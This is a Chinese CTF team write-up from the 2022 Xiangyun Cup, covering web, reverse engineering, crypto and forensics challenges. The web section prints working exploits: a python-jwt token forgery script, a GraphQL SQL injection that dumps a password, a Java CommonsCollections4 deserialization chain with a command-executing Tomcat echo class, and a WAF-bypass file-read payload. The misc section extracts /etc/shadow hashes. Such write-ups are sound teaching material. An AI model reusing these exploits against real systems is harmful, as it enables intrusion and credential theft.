2022祥云杯 – HashRun安全团队CTF部wp

Web方向:

HaveFun@T4x0r

注册一个 \(admin\) 账号发现页面会提示已经注册,其实本来想的是注入,但是发现注册功能活的,感觉二次注入可能也不是很大,注册一个账号登录进去发现功能正常

绕了一圈没啥太大发现都要鉴权,这里我还没抓包,退出登录发现前端校验,当 \(code\) 值等一于0那么就登录成功和注册成功,我们直接输入 \(admin\) 密码瞎写,改响应包。

xTadG8.png

xTaNIP.png

发现没用,他是前端+后端
访问几个页面发现权限不足,抓数据包发现是jwt验证,意思就是说要让我们越权被,查看下功能点
xTaDMQ.png

说实话是真的巧,看到这我直接就想到了 $ graphql$ 注入,为什么?因为前几天实战的时候才碰到,那现在问题就是解决权限问题

xTarrj.png

发现需要公钥和私钥才能解密,问题是这个不可能去爆破,采用的是 \(PS256\) 加密,然后各种百度都没进展,感觉是 $0day $,去 \(github\) 去看下有没有提交的 \(iisue\) 或者是 \(commit\)

最后发现是这个东西

这个需要改下脚本,\(exp\) 也在这里,大概意思就是说,我们不需要公钥和私钥就可以伪造 \(jwt\)

那么权限问题就可以解决

我们现在构造下脚本,至于一些第三方库我也贴出来,脚本需要基于作者的改下(其实改动的地方挺多,看着改吧。。。。我就直接贴 \(exp\) 和库了)

库 :

jwcrypto>=1.4.2

gevent>=1.2.2
pyVows>=3.0.0
pylint>=1.4.4
coverage>=4.0.3
coveralls>=1.2.0
mock>=1.3.0

exp:

""" Test claim forgery vulnerability fix """
from datetime import timedelta
from json import loads, dumps
from common import generated_keys
import python_jwt as jwt
from pyvows import Vows, expect
from jwcrypto.common import base64url_decode, base64url_encode

@Vows.batch
class ForgedClaims(Vows.Context):
    """ Check we get an error when payload is forged using mix of compact and JSON formats """
    def topic(self):
        """ Generate token """
        payload = {'sub': 'alice'}
        #print(jwt.generate_jwt(payload, generated_keys['PS256'], 'PS256', timedelta(minutes=60)))
        return jwt.generate_jwt(payload, generated_keys['PS256'], 'PS256', timedelta(minutes=60))

    class PolyglotToken(Vows.Context):
        """ Make a forged token """
        def topic(self, topic):
            """ Use mix of JSON and compact format to insert forged claims including long expiration """
            [header, payload, signature] = topic.split('.')
            parsed_payload = loads(base64url_decode(payload))
            parsed_payload['is_admin'] = 1
            parsed_payload['exp'] = 2000000000
            fake_payload = base64url_encode((dumps(parsed_payload, separators=(',', ':'))))
            print
            print('{"  ' + header + '.' + fake_payload + '.":"","protected":"' + header + '", "payload":"' + payload + '","signature":"' + signature + '"}')
            return '{"  ' + header + '.' + fake_payload + '.":"","protected":"' + header + '", "payload":"' + payload + '","signature":"' + signature + '"}'

        class Verify(Vows.Context):
            """ Check the forged token fails to verify """
            @Vows.capture_error
            def topic(self, topic):
                """ Verify the forged token """
                return jwt.verify_jwt(topic, generated_keys['PS256'], ['PS256'])

            def token_should_not_verify(self, r):
                """ Check the token doesn't verify due to mixed format being detected """
                expect(r).to_be_an_error()
                expect(str(r)).to_equal('invalid JWT format')

    a = PolyglotToken()
    print(a.topic("你的ps256的jwt"))
    #print(jwt.generate_jwt(payload, generated_keys['PS256'], 'PS256', timedelta(minutes=60)))

然后就需要用到 \(python-jwt\) 工具

这里我们需要把原作者的 \(sub\) 参数 \(=bob\) 改成 \(admin-is = 1\)

没有 \(admin\) 权限的 \(jwt\) 访问时不行的

xTatat.png

运行脚本:
xTa0xg.png

现在就是要查询了

有个小坑,注册用户名的时候不能注册a开头的,因为你在后面 \(sql\) 注入查询的时候,没有 \(where\) 他是按照字母顺序查,这个坑踩了很多次

具体语法参考这个

还有这个

但是需要稍稍改下

查询一圈没 \(flag\) ,那么我们查询 \(admin\) 密码

这里有详细说明

query={ 
    getscoreusingnamehahaha(name:"userid'union select password from users'1=1"){ 
        userid 
    name 
    score 
    } 
}

直接出密码:

xTawRS.png

然后直接登录获取 \(flag\)
xTaYVI.png

flag{94720a90-5e26-42b0-90db-700e1d03ffaf}

ezjava@T4x0r

考点 \(cc4+spring echo\)

下载源码对jar文件进行反编译

反编译,直指目的地,发现 $POST myTest $会出现反序列化漏洞

xTdUm9.png

检查程序,发现 \(apache\)\(common-collections 4\) 而且其反序列化利用类未被 \(Patch\)

xTdDfK.png

考点发现就是 \(cc4\)

附上文章

外加 \(spring-echo\) 网上有现成的 \(poc\)

造轮子! :

package moe.orangemc; 
 
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; 
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; 
import javassist.ClassPool; 
import javassist.CtClass; 
import org.apache.commons.collections4.Transformer; 
import org.apache.commons.collections4.comparators.TransformingComparator; 
import org.apache.commons.collections4.functors.ChainedTransformer; 
import org.apache.commons.collections4.functors.ConstantTransformer; 
import org.apache.commons.collections4.functors.InstantiateTransformer; 
 
import javax.xml.transform.Templates; 
import java.io.ByteArrayInputStream; 
import java.io.ByteArrayOutputStream; 
import java.io.ObjectInputStream; 
import java.io.ObjectOutputStream; 
import java.lang.reflect.Field; 
import java.util.Base64; 
import java.util.PriorityQueue; 
 
public class Main { 
    public static void main(String[] args) { 
        try { 
            ClassPool classPool = ClassPool.getDefault(); 
            CtClass ctClass = classPool.getCtClass("Meow"); 
            byte[] bytes = ctClass.toBytecode(); 
            TemplatesImpl templates = new TemplatesImpl(); 
            Field f1 = templates.getClass().getDeclaredField("_name"); 
            Field f2 = templates.getClass().getDeclaredField("_bytecodes"); 
            f1.setAccessible(true); 
            f2.setAccessible(true); 
            f1.set(templates, "Meow"); 
            f2.set(templates, new byte[][]{bytes}); 
            Transformer<Class<?>, Object> chainedTransformer = new ChainedTransformer(new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})); 
            TransformingComparator<Class<?>, Object> transformingComparator = new TransformingComparator<>(chainedTransformer); 
            PriorityQueue<Integer> queue = new PriorityQueue<>(2); 
            queue.add(1); 
            queue.add(1); 
            Field f = queue.getClass().getDeclaredField("comparator"); 
            f.setAccessible(true); 
            f.set(queue, transformingComparator); 
            Field f3 = queue.getClass().getDeclaredField("queue"); 
            f3.setAccessible(true); 
            f3.set(queue, new Object[] {chainedTransformer, chainedTransformer}); 
 
            ByteArrayOutputStream baos = new ByteArrayOutputStream(); 
            ObjectOutputStream oos = new ObjectOutputStream(baos); 
            oos.writeObject(queue); 
            oos.close(); 
            String result = new String(Base64.getEncoder().encode(baos.toByteArray())); 
            System.out.println(result); 
        } catch (Exception e) { 
            e.printStackTrace(); 
        } 
    } 
}

根据上文代码,发现无法回显,但根据百度发现可以利用 \(apache\)\(catalina\) 进行回显,同时程序包里有这个类库:

xTdcOH.png

编写恶意类:

import com.sun.org.apache.xalan.internal.xsltc.DOM; 
import com.sun.org.apache.xalan.internal.xsltc.TransletException; 
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; 
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; 
import com.sun.org.apache.xml.internal.serializer.SerializationHandler; 
 
public class Meow extends AbstractTranslet { 
 
    public Meow() { 
        super(); 
        this.namesArray = new String[]{"meow"}; 
        try { 
 
            java.lang.reflect.Field contextField = org.apache.catalina.core.StandardContext.class.getDeclaredField("context"); 
            java.lang.reflect.Field serviceField = org.apache.catalina.core.ApplicationContext.class.getDeclaredField("service"); 
            java.lang.reflect.Field requestField = org.apache.coyote.RequestInfo.class.getDeclaredField("req"); 
            java.lang.reflect.Method getHandlerMethod = org.apache.coyote.AbstractProtocol.class.getDeclaredMethod("getHandler",null); 
            contextField.setAccessible(true); 
            serviceField.setAccessible(true); 
            requestField.setAccessible(true); 
            getHandlerMethod.setAccessible(true); 
            org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase = 
                    (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); 
            org.apache.catalina.core.ApplicationContext applicationContext = (org.apache.catalina.core.ApplicationContext) contextField.get(webappClassLoaderBase.getResources().getContext()); 
            org.apache.catalina.core.StandardService standardService = (org.apache.catalina.core.StandardService) serviceField.get(applicationContext); 
            org.apache.catalina.connector.Connector[] connectors = standardService.findConnectors(); 
            for (int i=0;i<connectors.length;i++) { 
                if (4==connectors[i].getScheme().length()) { 
                    org.apache.coyote.ProtocolHandler protocolHandler = connectors[i].getProtocolHandler(); 
                    if (protocolHandler instanceof org.apache.coyote.http11.AbstractHttp11Protocol) { 
                        Class[] classes = org.apache.coyote.AbstractProtocol.class.getDeclaredClasses(); 
                        for (int j = 0; j < classes.length; j++) { 
                            if (52 == (classes[j].getName().length())||60 == (classes[j].getName().length())) { 
                                System.out.println(classes[j].getName()); 
                                java.lang.reflect.Field globalField = classes[j].getDeclaredField("global"); 
                                java.lang.reflect.Field processorsField = org.apache.coyote.RequestGroupInfo.class.getDeclaredField("processors"); 
                                globalField.setAccessible(true); 
                                processorsField.setAccessible(true); 
                                org.apache.coyote.RequestGroupInfo requestGroupInfo = (org.apache.coyote.RequestGroupInfo) globalField.get(getHandlerMethod.invoke(protocolHandler,null)); 
                                java.util.List list = (java.util.List) processorsField.get(requestGroupInfo); 
                                for (int k = 0; k < list.size(); k++) { 
                                    org.apache.coyote.Request tempRequest = (org.apache.coyote.Request) requestField.get(list.get(k)); 
                                    System.out.println(tempRequest.getHeader("tomcat")); 
                                    org.apache.catalina.connector.Request request = (org.apache.catalina.connector.Request) tempRequest.getNote(1); 
                                    String cmd = "" + "cat /flag" +""; 
                                    String[] cmds = !System.getProperty("os.name").toLowerCase().contains("win") ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd}; 
                                    java.io.InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); 
                                    java.util.Scanner s = new java.util.Scanner(in).useDelimiter("\n"); 
                                    String output = s.hasNext() ? s.next() : ""; 
                                    java.io.Writer writer = request.getResponse().getWriter(); 
                                    java.lang.reflect.Field usingWriter = request.getResponse().getClass().getDeclaredField("usingWriter"); 
                                    usingWriter.setAccessible(true); 
                                    usingWriter.set(request.getResponse(), Boolean.FALSE); 
                                    writer.write(output); 
                                    writer.flush(); 
                                    break; 
                                } 
                                break; 
                            } 
                        } 
                    } 
                    break; 
                } 
 
 
            } 
 
 
        } catch (Exception e) { 
 
        } 
    } 
 
    @Override 
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { 
 
    } 
 
    @Override 
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { 
 
    } 
}

把我们所有的东西组合起来,即可获得 \(payload\),但是注意要把最后的回车删掉,不然无法反序列化,然后就得到 \(flag\).

flag{97286f43-3e6a-4943-8e17-f19e1c2377aa}

RustWaf@T4x0r

\(/src\) 得到 \(nodejs\) 源代码

通过源码可以看到路由分别有三个 \(/readfile、/、/src\)

并且可以通过源码知道我们操作的地方再 \(/readfile\) 并且定义了直接 \(post\) 传再 \(body\)

其实这个就是利用 \(fs\) 的函数,这个刷过 \(ctfshow\) 的同学都知道,可以读文件

const express = require('express');
const app = express();
const bodyParser = require("body-parser")
const fs = require("fs")
app.use(bodyParser.text({type: '*/*'}));
const {  execFileSync } = require('child_process');

app.post('/readfile', function (req, res) {
    let body = req.body.toString();
    let file_to_read = "app.js";
    const file = execFileSync('/app/rust-waf', [body], {
        encoding: 'utf-8'
    }).trim();
    try {
        file_to_read = JSON.parse(file)
    } catch (e){
        file_to_read = file
    }
    let data = fs.readFileSync(file_to_read);
    res.send(data.toString());
});

app.get('/', function (req, res) {
    res.send('see `/src`');
});



app.get('/src', function (req, res) {
    var data = fs.readFileSync('app.js');
    res.send(data.toString());
});

app.listen(3000, function () {
    console.log('start listening on port 3000');
});

代码比较简单,重点就是在 \(/readfile\) 目录下读取文件,而会直接从 \(post-body\) 获取文件名,测试读 取 \(/etc/passwd\) 成功

xTdT1S.png

但是读取 \(flag\) 的时候没有成功,返回了 \(rust\) 的代码。可以发现如果 \(payload\) 中包含 \(flag\) 或者 \(proc\) 就会直接返回文件内容,如果绕过了再判断 \(payload\) 如果是 \(json\) 格式,那么是否存在 \(key\)\(protocol\) ,如果存在也直接返回文件内容

use std::env;
use serde::{Deserialize, Serialize};
use serde_json::Value;
static BLACK_PROPERTY: &str = "protocol";
#[derive(Debug, Serialize, Deserialize)]
struct File{
    #[serde(default = "default_protocol")]
    pub protocol: String,
    pub href: String,
    pub origin: String,
    pub pathname: String,
    pub hostname:String
    }
pub fn default_protocol() -> String {
    "http".to_string()
}
//protocol is default value,can't be customized
pub fn waf(body: &str) -> String {
    if body.to_lowercase().contains("flag") ||
    body.to_lowercase().contains("proc"){
        return String::from("./main.rs");
        }

//protocol is default value,can't be customized
pub fn waf(body: &str) -> String {
    if body.to_lowercase().contains("flag") ||
    body.to_lowercase().contains("proc"){
        return String::from("./main.rs");
        }
        if let Ok(json_body) = serde_json::from_str::<Value>(body) {
            if let Some(json_body_obj) = json_body.as_object() {
                if json_body_obj.keys().any(|key| key == BLACK_PROPERTY) {
                    return String::from("./main.rs");
                }
            }
            if let Ok(file) = serde_json::from_str::<File>(body) {
                return serde_json::to_string(&file).unwrap_or(String::from("./main.rs"));
            }
        } else{
//body not json
            return String::from(body);
        }
        return String::from("./main.rs");
    }
    fn main() {
        let args: Vec<String> = env::args().collect();
        println!("{}", waf(&args[1]));
}

发现 \(corctf\) 的某道题和这道题类似,也是绕过 \(fs.readfileSync\)

链接

链接2

\(payload\)\(json\) 格式传,但是这里用到的 \(payload\) 中存在 \(protocol\) 导致 \(rust\) 能检测到,要利用 \(unicode\) 绕过。

最终 \(payload\) :

{"hostname":"","pathname":"/fl%61g","protocol":"file:","origin":"fuckyou","pr\ud800otocol":"file:","href":"fuckyou"}

得到 \(flag\) :

flag{c60853ff-029c-4f07-bc7a-2131d388b01e}

RE方向:

engtom@n00bzx

下载下来,一看,. \(snapshot\) ???懵逼

有点像脚本语言的字节码..

必应查一下,没出来啥

看导入函数, \(charCodeAt\) ,判断是js

js有好多实现,要找找是哪种

结合开头 \(JRRYF\) 和题目名字里的 \(tom\) ,让我想起了猫和老鼠.

这时候看到一个项目,名字叫 \(jerryscript\) ,背底是奶酪.

又看到里面源码有解析. \(snapshot\) 文件,基本确定了就是他了

配置好环境后,看 \(help\) (英语阅读题),看到可以输出 \(opcode\) .

输出之,发现 \(sm4\) 的常量以及函数名,所以断定是 \(sm4\) .

解密得到结果,用 \(ctf\){}包上就提交了.脚本如下图:

xTdjkq.png

附:

##############################################################################
#                                                                            #
#                            国产SM4加密算法                                  #
#                                                                            #
##############################################################################
##根据网上大神的脚本改的
import binascii
import struct
from gmssl import sm4
def getarr(a):
    ddd=[]
    for i in range(len(a)):
        s=a[i]
        ddd.append(s&0xff)
        s>>=8
        ddd.append(s&0xff)
        s>>=8
        ddd.append(s&0xff)
        s>>=8
        ddd.append(s&0xff)
        ddd[i<<2:(i<<2)+4]=ddd[i<<2:(i<<2)+4][::-1]
    return bytes(ddd)

class SM4:
    """
    国产加密 sm4加解密
    """

    def __init__(self):
        self.crypt_sm4 = sm4.CryptSM4()  # 实例化

    def decryptSM4(self, decrypt_key, encrypt_value):
        """
        国密sm4解密
        :param decrypt_key:sm4加密key
        :param encrypt_value: 待解密的十六进制值
        :return: 原字符串
        """
        crypt_sm4 = self.crypt_sm4
        crypt_sm4.set_key(decrypt_key, sm4.SM4_DECRYPT)  # 设置密钥
        decrypt_value = crypt_sm4.crypt_ecb(encrypt_value)  # 开始解密。十六进制类型
        return decrypt_value
        # return self.str_to_hexStr(decrypt_value.hex())

if __name__ == '__main__':
    key = getarr([19088743,2309737967,4275878552,1985229328])
    strData = getarr([1605062385,-642825121,2061445208,1405610911,1713399267,1396669315,1081797168,605181189,1824766525,1196148725,763423307,1125925868])
    strData=bytes(strData)
    SM4 = SM4()
    decData = SM4.decryptSM4(key, strData)
    print("sm4解密结果:", decData)  # 解密后的数据

ctf{w3_f0und_1t_112ug31vjhe121f21fas}

Crypto方向:

Little feima@Fish

遇事不决去百度代码,发现相似代码

根据 \(writeup\) 即可求出 \(p\)\(q\)

题目提示是小费马,百度即可得到费马小定理

费马小定理

根据费马小定理我们可以从 :

assert 114514 ** x % p == 1

推出:

x = p - 1

然后正常解RSA即可:

from Crypto.Util.number import * 
from random import * 
from libnum import * 
import gmpy2 
from itertools import combinations, chain 

e = 65537 
n = 14132106732571642637548350691522493009724686596047415506904017635686070743554027091108158975147178351963999658958949587721449719649897845300515427278504841871501371441992629
9248566038773669282170912502161620702945933984680880287757862837880474184004082619880793733517191297469980246315623924571332042031367393 
c = 81368762831358980348757303940178994718818656679774450300533215016117959412236853310026456227434535301960147956843664862777300751319650636299943068620007067063945453310992828
498083556205352025638600643137849563080996797888503027153527315524658003251767187427382796451974118362546507788854349086917112114926883 
tp = [gmpy2.mpz(1 << i) for i in range(512)] 
it = chain(*[combinations(range(3, 417 - 3), i) for i in range(4)]) 
for cf in it: 
   A = -sum([tp[i] for i in cf]) 
   D = A**2 + 4 * n 
   if gmpy2.is_square(D): 
       d = gmpy2.isqrt(D) 
       p = (-A + d) // 2 
       q = n // p 
       break 
x=p-1 
d = pow(e, -1, (p - 1) * (q - 1)) 
m=pow(c, d, n) 
print(pow(c, d, n)) 
print(long_to_bytes(m^(x**2)))

Little feima@S1gMa

(这道题比赛期间 \(S1gMa\)\(fish\),同时解出的所以 \(wp\) 上只写了 \(fish\) 的思路,这里我可以在提供一个分解 \(q\) , \(p\) 的方法)

根据题面加密混淆可知,存在一个 \(4 * k\) 的矩阵,并终随机取值相加减,同时分析可得 \(l1\) 决定了 \(A\) 的正负,真正决定 \(A\) 大小的只有 \(l2\) , \(l3\)

同时分析发现相较于 \(pq\) 来说,A加入的混淆是极为小的,因此这两个数是非常相近的。可以采用 \(yafu\) 进行分解得到 \(pq\)

从而也据此找到后面的思路,由于 \(pq\) 又很近可以想到利用费马小定理进行解密 \(RSA\)

(代码就不贴了,和 \(fish\) 基本是一样的)

common_rsa@S1gMa

利用在线分解直接出p,q。

xTwlBd.png

然后常规 \(RSA\) 解密即可:

import libnum
from Crypto.Util.number import long_to_bytes
 
c = 97724073843199563126299138557100062208119309614175354104566795999878855851589393774478499956448658027850289531621583268783154684298592331328032682316868391120285515076911892737051842116394165423670275422243894220422196193336551382986699759756232962573336291032572968060586136317901595414796229127047082707519
n = 253784908428481171520644795825628119823506176672683456544539675613895749357067944465796492899363087465652749951069021248729871498716450122759675266109104893465718371075137027806815473672093804600537277140261127375373193053173163711234309619016940818893190549811778822641165586070952778825226669497115448984409
e = 31406775715899560162787869974700016947595840438708247549520794775013609818293759112173738791912355029131497095419469938722402909767606953171285102663874040755958087885460234337741136082351825063419747360169129165
q = 21007149684731457068332113266097775916630249079230293735684085460145700796880956996855348862572729597251282134827276249945199994121834609654781077209340587
p = 12080882567944886195662683183857831401912219793942363508618874146487305963367052958581455858853815047725621294573192117155851621711189262024616044496656907

d = libnum.invmod(e, (p - 1) * (q - 1))
m = pow(c, d, n)
print(long_to_bytes(m))

(不理解这道题为什么没多少人做, 当时做的时候看到 \(e\) 很大想到了维纳攻击,但没想到网上可以直接查到 \(n\) 的分解,也就没有进一步分解代码直接解了)

(有点感觉非预期?)

tracing@秋风 & S1gMa

(这道题秋风提供了核心求解 \(phi\) 的思路,然后我就直接把剩下的 \(RSA\) 解密一把梭了)

这道题的 \(pq\) 没有给出,而题目却给出了类似于单步调试回显的代码,因此分析 \(gcd\) 函数的操作过程可以直接倒推出 \(phi\)

import libnum
from Crypto.Util.number import long_to_bytes

n = 113793513490894881175568252406666081108916791207947545198428641792768110581083359318482355485724476407204679171578376741972958506284872470096498674038813765700336353715590069074081309886710425934960057225969468061891326946398492194812594219890553185043390915509200930203655022420444027841986189782168065174301
c = 64885875317556090558238994066256805052213864161514435285748891561779867972960805879348109302233463726130814478875296026610171472811894585459078460333131491392347346367422276701128380739598873156279173639691126814411752657279838804780550186863637510445720206103962994087507407296814662270605713097055799853102
e = 65537

tag1 = 1
tag2 = 0
F = open("trace.out","r")
arr = F.readlines()

for i in arr[::-1]:
    if "a = a - b" in i:
        tag1 = tag1 + tag2
#print(tag1)
#print(tag2)
    if "a, b = b, a" in i:
        tag1, tag2 = tag2, tag1
#print(tag1)
#print(tag2)
    if "a = rshift1(a)"in i:
        tag1 = tag1 << 1
#print(tag1)
#print(tag2)
    if "b = rshift1(b)" in i:
        tag2 = tag2 << 1
#print(tag1)
#print(tag2)

phi = tag1
#print(phi)

d = libnum.invmod(e, phi) 
m = pow(c, d, n)
print(long_to_bytes(m))

flag{a526344-a8c7-411d-bf53-ef6a2479de1a}

Misc方向:

strange_forensics@Fish

首先这个题目是一道取证题目,我们要先确定下系统版本:

strings dump.raw | grep -i 'Linux version' | uniq

flag1

使用脚本:

python2 vol.py linux_enumerate_files | grep "/etc/shadow"

\(linux_find_file\) 导出,可以获得用户密码的哈希,然后哈希解密,得到 \(flag1\)

\(volatility2\) 有现成的。

flag2

有个压缩包,导出文件发现文件损坏,我们将加密位从0修复为9,然后发现压缩包加密,我们对压缩包密码进行爆破即可是一个六位数字:123456

flag3

直接执行

strings 1.mem | grep "flag3"

得到。

flag拼接

三段 \(flag\) 拼一起就是结果.

flag{890topico_y0u_Ar3_tHe_LInUx_forEnsIcS_MASTER}

欢迎大家加入HashRun安全团队的公开群 & 公众号~

欢迎大家加入HashRun安全团队的公开群 & 公众号, 均会不定期分享师傅们的各种文章,想要即使关注扫一扫下方二维码速速加入!!!!

公开群:

xT0Vbj.png

公众号:

xT0P8f.png

小彩蛋

话说今天还是万圣节哎!所以….. Trick or treat!

原文地址:http://www.cnblogs.com/S1gMa/p/16846438.html

1. 本站所有资源来源于用户上传和网络,如有侵权请邮件联系站长! 2. 分享目的仅供大家学习和交流,请务用于商业用途! 3. 如果你也有好源码或者教程,可以到用户中心发布,分享有积分奖励和额外收入! 4. 本站提供的源码、模板、插件等等其他资源,都不包含技术服务请大家谅解! 5. 如有链接无法下载、失效或广告,请联系管理员处理! 6. 本站资源售价只是赞助,收取费用仅维持本站的日常运营所需! 7. 如遇到加密压缩包,默认解压密码为"gltf",如遇到无法解压的请联系管理员! 8. 因为资源和程序源码均为可复制品,所以不支持任何理由的退款兑现,请斟酌后支付下载 声明:如果标题没有注明"已测试"或者"测试可用"等字样的资源源码均未经过站长测试.特别注意没有标注的源码不保证任何可用性